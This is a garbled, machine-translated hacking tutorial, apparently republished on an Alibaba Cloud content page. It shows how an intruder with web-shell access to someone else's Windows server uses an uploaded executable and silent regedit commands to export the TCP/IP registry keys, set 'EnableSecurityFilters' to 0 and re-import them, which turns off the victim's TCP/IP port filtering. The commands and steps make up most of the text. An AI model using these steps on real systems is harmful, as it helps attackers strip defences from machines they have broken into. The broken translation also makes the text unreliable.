Modify TCP/IP filtering through the Registry

Source: Internet
Author: User
"Regedit-e d:/1.reg HKEY_LOCAL_MACHINE/system/controlset001/services/TCPIP" # export the first entry of TCP/IP filtering in the Registry
D:/test.exe "Regedit-e d:/2.reg HKEY_LOCAL_MACHINE/system/controlset002/services/TCPIP" # export the second part of TCP/IP filtering in the Registry
D:/test.exe "Regedit-e d:/3.reg HKEY_LOCAL_MACHINE/system/CurrentControlSet/services/TCPIP" # export the third part of TCP/IP filtering in the Registry
Then return to stream or FSO and find that 1.reg, 2.reg, 3. Reg has been quietly lying there ~
Set 1.reg, 2.reg, 3. reg is downloaded back to your hard disk and edited. Change the TCP/IP filtering areas. 1. reg finds "enablesecurityfilters" = DWORD: 00000001, changes the last number 1 to 0, and then changes 2.reg, 3.reg. the change method is the same, and I will not be arrogant ~
Then we set 1.reg, 2.reg, 3. reg then returns the data to the target machine (Here we want to select the overwrite mode, because we do not have the permission to delete the original 1.reg, 2.reg, 3.reg). After the upload is successful, we will return to the 〖 wscript. shell command:
D:/a004/tggtwe /****. COM/uploadsoft/test.exe "Regedit-s d:/a004/tggtwe /****. COM/uploadsoft/1.reg" # In quiet mode, 1. reg import to his registry
D:/a004/tggtwe /****. COM/uploadsoft/test.exe "Regedit-s d:/a004/tggtwe /****. COM/uploadsoft/2.reg" # In quiet mode, complete the modification. reg import to his registry
D:/a004/tggtwe /****. COM/uploadsoft/test.exe "Regedit-s d:/a004/tggtwe /****. COM/uploadsoft/3.reg" #3. reg import to his registry

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.